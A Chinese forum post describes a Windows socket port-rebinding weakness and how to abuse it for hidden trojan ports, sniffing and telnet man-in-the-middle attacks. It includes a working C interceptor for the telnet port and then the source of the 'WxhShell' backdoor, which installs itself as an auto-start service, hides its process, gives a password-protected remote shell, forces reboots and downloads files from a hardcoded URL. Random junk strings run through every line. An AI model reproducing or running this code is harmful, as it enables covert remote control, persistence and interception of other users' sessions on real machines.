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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: t3^`:T\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W)o*$c u  
<RC%<  
  saddr.sin_family = AF_INET; SE i\H$ !  
8sI$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5{DwD{Q  
Xnh&Kyz`v  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); i+T5 (P$  
{w"Cr0F,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 BOA7@Zaa$p  
!.pcldx  
  这意味着什么?意味着可以进行如下的攻击: K/}x'*=  
O<@L~S]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <rui\/4NJ  
!5[SNr3^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <u# 7K\:  
s?9Y3]&+&M  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .rwW5"RPq  
}1Mf0S  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /<+`4n  
%`lJAW[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *6=9 8C4I  
^k^?>h  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 yQ<h>J>  
'q}f3u>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Kf$(7FT'`  
1L7^g*  
  #include `pDTjJ  
  #include (64es)B}"  
  #include v*As:;D_  
  #include    RDy&i  
  DWORD WINAPI ClientThread(LPVOID lpParam);   K:AP 0Te  
  int main() Tj<B;f!u  
  { bNm]h.  
  WORD wVersionRequested; O kT@ _U  
  DWORD ret;  <|82)hO  
  WSADATA wsaData; R(P(G;#j  
  BOOL val; Zvfy%k   
  SOCKADDR_IN saddr; C#)T$wl[E  
  SOCKADDR_IN scaddr; <1* \ ~CX  
  int err; <X& fs*x&  
  SOCKET s; a +~b3  
  SOCKET sc; /PR 4ILed  
  int caddsize; Y"s8j=1m  
  HANDLE mt; 1:@ScHS  
  DWORD tid;   4UzXTsjM7  
  wVersionRequested = MAKEWORD( 2, 2 ); S}]B|Q  
  err = WSAStartup( wVersionRequested, &wsaData ); Bx$?*y&f!v  
  if ( err != 0 ) { Hfo<EB2Y9N  
  printf("error!WSAStartup failed!\n"); 0E (G1o'  
  return -1; T:|p[Xbo  
  } -Xw S?*O  
  saddr.sin_family = AF_INET; -O-?hsV)y  
   pm:-E(3#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 SK 5]7C2  
/nX_Q?mo  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); U&a(WQV9&  
  saddr.sin_port = htons(23); .4$F~!aj9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R1<$VR  
  { Ss\?SEq  
  printf("error!socket failed!\n"); Xrpvq(]  
  return -1; +qT+iHa|n  
  } n'JS-  
  val = TRUE; X{6a  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 NZ6:Zz M  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) BD86t[${W  
  { pFwJ:  
  printf("error!setsockopt failed!\n"); =20 +(<  
  return -1; [/ertB  
  } pQC|_T#u  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; zfg+gd)Z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 AP1ZIc6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Q&^\YgkCf  
h%4UeL &F  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,\aL v  
  { T.-tV[2  
  ret=GetLastError(); S'NLj(  
  printf("error!bind failed!\n"); S{f,EBE  
  return -1; V d]7v  
  } u7Ix7`V  
  listen(s,2); DBLM0*B  
  while(1) 'RzO`-dr  
  { ;c DMcKKIA  
  caddsize = sizeof(scaddr); LXhR"PWZM\  
  //接受连接请求 p|dn&<kd  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); aIrM-c8.O  
  if(sc!=INVALID_SOCKET) W|uRQA`  
  { 8c_X`0jy  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ,tg(aL  
  if(mt==NULL) @7.7+blS"H  
  { %.l={B,i  
  printf("Thread Creat Failed!\n"); .]JIo&>5  
  break; V |}9bNF  
  } gFu,q`Vf*  
  } vNl)ltzJF  
  CloseHandle(mt); zH9*w:"4<_  
  } e5n]@mu%  
  closesocket(s); X!'C'3X  
  WSACleanup(); V3r)u\ o'  
  return 0; ED" fi$  
  }   ,9_O4O%  
  DWORD WINAPI ClientThread(LPVOID lpParam) %N`_g' r!  
  { !IO\g"y~|%  
  SOCKET ss = (SOCKET)lpParam; SBs!52  
  SOCKET sc; /`DKX }  
  unsigned char buf[4096]; *n7=m=%)  
  SOCKADDR_IN saddr; 1EC;t1.7  
  long num; 0chpC)#Q3;  
  DWORD val; ;Oqf{em];  
  DWORD ret; H)"]I3  
  //如果是隐藏端口应用的话,可以在此处加一些判断 bj6Yz,g F  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Hs:zfvD  
  saddr.sin_family = AF_INET; ABkDOG2br  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ju "?b2f  
  saddr.sin_port = htons(23); bDJ!Fc/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T6=|)UTe1  
  { )z18:C3  
  printf("error!socket failed!\n"); G kG#+C0L  
  return -1; a7F_{Mm  
  } wQjYH!u,YZ  
  val = 100; z>,M@@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _5~|z$GW  
  { F --b,,  
  ret = GetLastError(); V\{@c%xW  
  return -1; 8sc2r  
  } /#(IV_Eol  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2y!aXk\#C  
  { jl(D;JnF  
  ret = GetLastError(); hif;atO  
  return -1; fKqr$59>  
  } }5(_gYr  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) q0Q[]|L  
  { !&g_hmnIF  
  printf("error!socket connect failed!\n"); Q<;EQb#  
  closesocket(sc); etiUt~W  
  closesocket(ss); jdu6P+_8n  
  return -1; b|DU  
  } Y$n+\K  
  while(1) 24? _k]Y  
  { nAl \9#M  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;nW;M 4{  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7qOkv1.}0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Y<VX.S2kf  
  num = recv(ss,buf,4096,0); hLgX0QV  
  if(num>0) 5CN=a2&  
  send(sc,buf,num,0); #<9'{i3  
  else if(num==0) S|k@D2k=  
  break; mhhc}dS(H  
  num = recv(sc,buf,4096,0); Tc||96%2^  
  if(num>0) 5ILKYUg,  
  send(ss,buf,num,0); 3-:^mRPJ  
  else if(num==0) WeH_1$n5  
  break; rqN+0CT  
  } n5A|Zjk;  
  closesocket(ss); }[PwA[k'  
  closesocket(sc); @aUNyyVP  
  return 0 ; XZ@+aG_%q  
  } -YQS\@?  
,.*D f)+  
'\8YH+%It  
========================================================== kn>qX{W  
)#\3c,<Y  
下边附上一个代码,,WXhSHELL k&t.(r\  
F{ vT^/  
========================================================== fuA] y4A  
^znUf4N1  
#include "stdafx.h" wj}LVyV  
6o6yx:  
#include <stdio.h> iY@}Q "  
#include <string.h> (oy@j{G)c6  
#include <windows.h> :EHk]Hkz  
#include <winsock2.h> `fEzE\\!*  
#include <winsvc.h> @]~.-(IMh  
#include <urlmon.h> a6z0p%sIZ  
~1*37w~  
#pragma comment (lib, "Ws2_32.lib") xV14Y9  
#pragma comment (lib, "urlmon.lib") I(BJ1 8F$  
P6>C+T1  
#define MAX_USER   100 // 最大客户端连接数 ERK{smL  
#define BUF_SOCK   200 // sock buffer O!dS;p-F  
#define KEY_BUFF   255 // 输入 buffer X}3?k<m  
C "@>NC_  
#define REBOOT     0   // 重启 9 $X" D  
#define SHUTDOWN   1   // 关机 AtHkz|sl  
6j {ynt  
#define DEF_PORT   5000 // 监听端口 R7z @y o  
AdDR<IW  
#define REG_LEN     16   // 注册表键长度 _/P;`@  
#define SVC_LEN     80   // NT服务名长度 R'B_YKHBY  
5W fZd  
// 从dll定义API M+ <SSi"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Wy6a4oY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q*4@d)_&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s@%>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); It/'R-H  
67T.qX2I$  
// wxhshell配置信息 a $'U?%  
struct WSCFG { {y@8E>y5$  
  int ws_port;         // 监听端口 0VJHE~Bgi  
  char ws_passstr[REG_LEN]; // 口令 94 6r#`q  
  int ws_autoins;       // 安装标记, 1=yes 0=no jYAm}_?No  
  char ws_regname[REG_LEN]; // 注册表键名 G){+.X4g3  
  char ws_svcname[REG_LEN]; // 服务名 Xu#?Lw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pg,JYn  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yNwSiZE X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U_aI!`WXd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qycf;Kl:6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +Gy9K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =$^}"}$  
P $ h) Y  
}; M!gu`@@}F  
S%?>Mh?g  
// default Wxhshell configuration ;cL+= !  
struct WSCFG wscfg={DEF_PORT, @*6_Rp"@  
    "xuhuanlingzhe", {uZ|Oog(p  
    1, Jz&dC  
    "Wxhshell", dn42'(p@G  
    "Wxhshell", ^ -~=U^2tC  
            "WxhShell Service", <H<Aba9\  
    "Wrsky Windows CmdShell Service", U~7{q >  
    "Please Input Your Password: ", &DtI+ )[|  
  1, _m a;b<I/<  
  "http://www.wrsky.com/wxhshell.exe", 6+s&%io4  
  "Wxhshell.exe" #sv}%oV,F  
    }; fD_3lbiL(  
w}07u5  
// 消息定义模块 4>Q] \\Lc  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e+2lus,u6t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hD,^mru  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w+\RSqz/  
char *msg_ws_ext="\n\rExit."; =''*'a-P  
char *msg_ws_end="\n\rQuit."; `-W4/7  
char *msg_ws_boot="\n\rReboot..."; slr>6o%W`  
char *msg_ws_poff="\n\rShutdown..."; 4 #lLC-k  
char *msg_ws_down="\n\rSave to "; f e^s`dsG  
0U.Ld:  
char *msg_ws_err="\n\rErr!"; !+ UXu]kA  
char *msg_ws_ok="\n\rOK!"; !([v=O#  
:}SR{}]yXs  
char ExeFile[MAX_PATH]; b3GTsX\2|  
int nUser = 0; [c=![ *}/  
HANDLE handles[MAX_USER]; 9(KffnE^  
int OsIsNt; F*:H&,  
q}g0-Da  
SERVICE_STATUS       serviceStatus; #fyY37-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `"iPJw14  
Ut2x4$9  
// 函数声明 [R~@#I P!  
int Install(void); eo"XHP7ja  
int Uninstall(void); 3VQmo\li  
int DownloadFile(char *sURL, SOCKET wsh); EScy!p\*  
int Boot(int flag); Z\)P|#L$  
void HideProc(void); =G rg  
int GetOsVer(void); kw1Lm1C  
int Wxhshell(SOCKET wsl); iW? NxP  
void TalkWithClient(void *cs); kf)s3I/`(  
int CmdShell(SOCKET sock); *b1NVN$  
int StartFromService(void); :\1vy5 _  
int StartWxhshell(LPSTR lpCmdLine); BUsAEw M  
u,@x7a,z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2|+4xqNJm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E{}eYU  
[rhK2fr:i  
// 数据结构和表定义 9Bu=8P?  
SERVICE_TABLE_ENTRY DispatchTable[] = Tr HUM4  
{ .-p?skm=a  
{wscfg.ws_svcname, NTServiceMain}, X*:)]p(R  
{NULL, NULL} `+WQ^dP@  
}; VDv>I 2%  
V ;M'd@  
// 自我安装 `&A-m8X  
int Install(void) C5#$NV99p  
{ IAbH_+7O  
  char svExeFile[MAX_PATH]; [-Mfgw]i  
  HKEY key; #!M;4~Sfx  
  strcpy(svExeFile,ExeFile); 4*+)D8  
bd.t|A  
// 如果是win9x系统,修改注册表设为自启动 =ThacZHb8  
if(!OsIsNt) { J,wpY$93  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QEq>zuz5;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WAh{*$Rpl  
  RegCloseKey(key); #c2JWDH1F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N%QVkuCbM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l'(7p`?  
  RegCloseKey(key); 6imQjtI  
  return 0; XiUae{j`  
    } Y !nE65  
  } p< jM%fbZk  
} }o#6g|"\sY  
else { QW}N,j$  
C+c;UzbD  
// 如果是NT以上系统,安装为系统服务 `Jon^&^;|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \!:^=2VF  
if (schSCManager!=0) 1'[_J  
{ _n_|skG  
  SC_HANDLE schService = CreateService \*$''`b)j  
  ( rQPV@J]:  
  schSCManager, C)`y<O  
  wscfg.ws_svcname, *b]$lj  
  wscfg.ws_svcdisp, Ucz`^}+  
  SERVICE_ALL_ACCESS, +&hd3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;?0k>  
  SERVICE_AUTO_START, |\/Y<_)JD  
  SERVICE_ERROR_NORMAL, Qf}b3WEAI  
  svExeFile, 3]}wZY0  
  NULL, $17utJ 58  
  NULL, Mk@%Wuxg2  
  NULL, .#y.:Pb|e  
  NULL, -%^KDyZ<&  
  NULL ns,qj} #  
  ); BiUbg6T.G  
  if (schService!=0) d@-bt s&3  
  { U(cV#@Y  
  CloseServiceHandle(schService); H$i4OQ2  
  CloseServiceHandle(schSCManager); &c)n\x*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nv^nq]4'Dq  
  strcat(svExeFile,wscfg.ws_svcname); t LZ4<wc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { + \AiUY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )a%kAUNj  
  RegCloseKey(key); |+Fko8-  
  return 0; .A`Q!  
    } BHh%3Q  
  } ?tLBEoUmKT  
  CloseServiceHandle(schSCManager); E/</  
} Eh&et0&=g  
} nT.2HQ((Xg  
q'%-8t  
return 1; G 'sEbw'[  
} s*k[Fbi  
" E U[Lb  
// 自我卸载 Z;6v`;[  
int Uninstall(void) kF lq@['U  
{ xM3T7PV9  
  HKEY key; 1 \_S1ZS  
11s*C #  
if(!OsIsNt) { U!rhj&n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ivKhzU+  
  RegDeleteValue(key,wscfg.ws_regname); &cEQ6('H  
  RegCloseKey(key); CVp`G"W:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +&7D ;wj=  
  RegDeleteValue(key,wscfg.ws_regname); kCO`JAH#  
  RegCloseKey(key); u"*@k^}(  
  return 0; mBC?Pg  
  } %,G&By&,  
} k/&~8l.$  
} y()7m/  
else { 1d4?+[)gUv  
o+o'!)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `J%iFm/5*  
if (schSCManager!=0) c5& _'&  
{ tiI:yq0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gi|j ! m  
  if (schService!=0) IXaF(2>  
  { >8$]g  
  if(DeleteService(schService)!=0) { l0^~0xlED  
  CloseServiceHandle(schService); Ka|WT|1  
  CloseServiceHandle(schSCManager); Gm 0&y  
  return 0; =}6yMR!4R<  
  } %z}{jqD&:X  
  CloseServiceHandle(schService); /T53"+7:0  
  } U8+5{,$\.  
  CloseServiceHandle(schSCManager); UQmdm$.  
} o& g0 1t  
} sOegR5?;  
{s8v0~  
return 1; KiXRBFo  
} Z%]s+V)st  
-RisZ-n*  
// 从指定url下载文件 MlDWK_y_&  
int DownloadFile(char *sURL, SOCKET wsh) ,i>{yrsOh  
{ ~(( '1+  
  HRESULT hr; O_yk<  
char seps[]= "/"; h[|c?\E z  
char *token; >}& :y{z~  
char *file; Z2HH&3HA  
char myURL[MAX_PATH]; [8F1rZ&  
char myFILE[MAX_PATH]; ^Jv$Wx  
8|5ttdZ  
strcpy(myURL,sURL); O#j&8hQ>  
  token=strtok(myURL,seps); 6Qo YX] .  
  while(token!=NULL) c7~+ 5  
  { pX5#!)  
    file=token; 3#O R fr(  
  token=strtok(NULL,seps); ,4O|{Iu#n  
  } #le1 ^ <w7  
E}7@?o7u}  
GetCurrentDirectory(MAX_PATH,myFILE); cym<uh-Wg^  
strcat(myFILE, "\\"); MLbmz\8a  
strcat(myFILE, file); ,".1![b  
  send(wsh,myFILE,strlen(myFILE),0); m?Tv8-1  
send(wsh,"...",3,0); ~F gxhK2+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )Z.v fc  
  if(hr==S_OK) Rm i4ZPb.  
return 0; S!'Y:AeD&  
else C;mcb$@  
return 1; u,E_Ezq  
})v`` +  
} MBeubS  
{`-f<>N3  
// 系统电源模块 mE|?0mRA %  
int Boot(int flag) d^G5Pq  
{ 2VgVn,c  
  HANDLE hToken; OYY_@'D  
  TOKEN_PRIVILEGES tkp; E>NL/[1d  
+KHk`2{y~  
  if(OsIsNt) { #yR@.&P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3R[,,WAj$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cB2jf</  
    tkp.PrivilegeCount = 1; ^A;(#5A]7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ZN-5W|' O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d>jRw  
if(flag==REBOOT) { i`vgD<}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) RiCzH  
  return 0; Jk=d5B  
} m| k:wuzqK  
else { "(^1Dm$(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YhJ*(oWL  
  return 0; vV /fTO  
} uJ>_ 2  
  } 2 NrMse  
  else { 7d'gG[Z^^  
if(flag==REBOOT) { 1F58 2 l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +]NPxUa  
  return 0; % .n 7+  
} A]CO Ysc  
else { eWwI@ASaA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U0t~H{-H  
  return 0; o 2sOf  
} YF(TG]?6  
}  C#x9RW  
4?F7%^vr  
return 1; <j$n7#qk  
} p?+*R@O  
+x"cWOg  
// win9x进程隐藏模块 tr $~INe  
void HideProc(void) ; \N${YIn  
{ -jOCzp  
|UZhMF4/-L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H3Z"u  
  if ( hKernel != NULL ) d)X6x-(  
  { FtL{ f=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !O~5<tA[#1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D/=  AU  
    FreeLibrary(hKernel); hWqI*xSaJ  
  } muqIh!nn  
X #!oG)or  
return; I%<,JRAV  
} Q #%C)7)  
dJ0qg_ U&  
// 获取操作系统版本 t6H9Q>*  
int GetOsVer(void) E5}wR(i,4  
{ R^=)Ucj  
  OSVERSIONINFO winfo; Lp?JSMe  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v<qiu>sbz}  
  GetVersionEx(&winfo); &J~%Nt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .g6DKjy>  
  return 1; e~,/Z\i  
  else (YJ]}J^  
  return 0; 4vk^=  
} >v DD.  
u*NU MT2  
// 客户端句柄模块 9-9:]2~g!  
int Wxhshell(SOCKET wsl) ages-Z_X  
{ '"=Mw;p  
  SOCKET wsh; >{dj6Wo  
  struct sockaddr_in client;  #' =rv  
  DWORD myID; ]k (n_+!  
6jIW)C  
  while(nUser<MAX_USER) ;i2N`t2  
{ /{~cUB,Um  
  int nSize=sizeof(client); '5mzlR  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |$vhu`]Z@^  
  if(wsh==INVALID_SOCKET) return 1; Z~-A*{u?  
2@(Qd3N(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z-!W#   
if(handles[nUser]==0) /Nh:O  
  closesocket(wsh); +=y ktf  
else MpV6Vbp  
  nUser++; A~!3svJW  
  } om"q[Tudc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Y(D@B|"'m  
cN>z`x l  
  return 0; Z81{v<c;  
} Hset(-=X  
?`hk0qX3  
// 关闭 socket A|BvRZd  
void CloseIt(SOCKET wsh) &S.zc@rN  
{ hwmpiyu   
closesocket(wsh); ?^F#}>C  
nUser--; c{Ax{-'R  
ExitThread(0); uW&P1 'X  
} xi6Fs, 2S  
w@P c7$EP  
// 客户端请求句柄 RN?z)9!  
void TalkWithClient(void *cs) ")U`Wgx  
{ sa~.qmqu  
A#mf*]'  
  SOCKET wsh=(SOCKET)cs; x@I@7Pvo3  
  char pwd[SVC_LEN]; 4"e7 43(  
  char cmd[KEY_BUFF]; _|MY/SN4A  
char chr[1]; %aX<p{EY  
int i,j; Z\E3i  
'|e5cW6z  
  while (nUser < MAX_USER) { Ms*;?qtrR  
=>6Z"LD(  
if(wscfg.ws_passstr) { n>X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _Y*: l7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #gOITXKs  
  //ZeroMemory(pwd,KEY_BUFF); x3L3K/qMg  
      i=0; S:] w@$  
  while(i<SVC_LEN) { (r,RwWYm  
O{rgZ/4Au  
  // 设置超时 VGBL<X  
  fd_set FdRead; ushQWP)  
  struct timeval TimeOut; 8zz-jk R  
  FD_ZERO(&FdRead); &^th KXEC  
  FD_SET(wsh,&FdRead); EkV v  
  TimeOut.tv_sec=8; `3r*Ae  
  TimeOut.tv_usec=0; 4EuZe:'X  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .N] ^g#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); SSi}1  
+bd/*^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xYM! mcA  
  pwd=chr[0]; Arz> P@EQ  
  if(chr[0]==0xd || chr[0]==0xa) { 3Nw9o6`U  
  pwd=0; jHB,r^:'  
  break; <acAc2  
  } z@&_3 Gl  
  i++; lXm]1 *<  
    } LL-MZ~ZB  
\VPU)  
  // 如果是非法用户,关闭 socket =Ze~6vS,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cX1"<fD o  
} LP_ !g  
+YhTb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LPT5d 7K@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2NsI3M4$8  
_}`iLA!$I  
while(1) { ? _[gs/i}  
 2c!?!:s  
  ZeroMemory(cmd,KEY_BUFF); Tb}`]Y`X  
yXrFH@3  
      // 自动支持客户端 telnet标准   )y.J2_lI8  
  j=0; if:2sS9r  
  while(j<KEY_BUFF) { WABq6q!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \8Fe56  
  cmd[j]=chr[0]; !=cW+=1  
  if(chr[0]==0xa || chr[0]==0xd) { *8js{G0h  
  cmd[j]=0; ,/:#=TuYm  
  break; }RDhI1x[mk  
  } #)=P/N1  
  j++; $CHr i|  
    } 5@Ot@o  
Aq QArSu,  
  // 下载文件 A(Ugam~}  
  if(strstr(cmd,"http://")) { W?F+QmD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D19uI&U4  
  if(DownloadFile(cmd,wsh)) 98Pt&C?-B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k=w%oqpN  
  else '(&.[Pk:"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gHvxmIG  
  } ?8b?{`@V  
  else { q%Obrk  
?J6J#{LRd  
    switch(cmd[0]) { 8>6+]]O  
  ^C_Y[i ~|  
  // 帮助 m}Kn!21  
  case '?': { PRWS[2[yk  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^l7u^j  
    break; ArbfA~jXB  
  } C{-e(G`Yd  
  // 安装 vitmG'|WG  
  case 'i': { ZnI_<iFR*  
    if(Install()) -fT]}T6=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L @t<%fy@  
    else mcpM<vY/H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #l+U(zH:JG  
    break; # x!47Y{  
    } Qg<_te)\  
  // 卸载 EUu"H` E+  
  case 'r': { ;l7wme8Qk  
    if(Uninstall()) xWU0Ev)4U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I|n<B"Q6^  
    else %'%ej^s-R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]j~V0 1p/e  
    break; ,L6d~>=41  
    } #K"jtAm  
  // 显示 wxhshell 所在路径 pD eqBO  
  case 'p': { nQa5e_q!u  
    char svExeFile[MAX_PATH]; (XX6M[M8  
    strcpy(svExeFile,"\n\r"); ,<d[5;7x  
      strcat(svExeFile,ExeFile); i"r&CS)sT  
        send(wsh,svExeFile,strlen(svExeFile),0); fOdkzD,  
    break; m`}! dBi  
    } _b&Mrd  
  // 重启 +=)< Su.  
  case 'b': { cWA9n}Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #Ne<=ayS  
    if(Boot(REBOOT)) .a8N 5{`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P|!GXkS  
    else { 'u@ )F`  
    closesocket(wsh); E*:!G  
    ExitThread(0); \j+O |#`|)  
    } 1y2D]h/'  
    break; E5~HH($b  
    } r1\c{5Wt  
  // 关机 TUw^KSa  
  case 'd': { rr>QG<i;G  
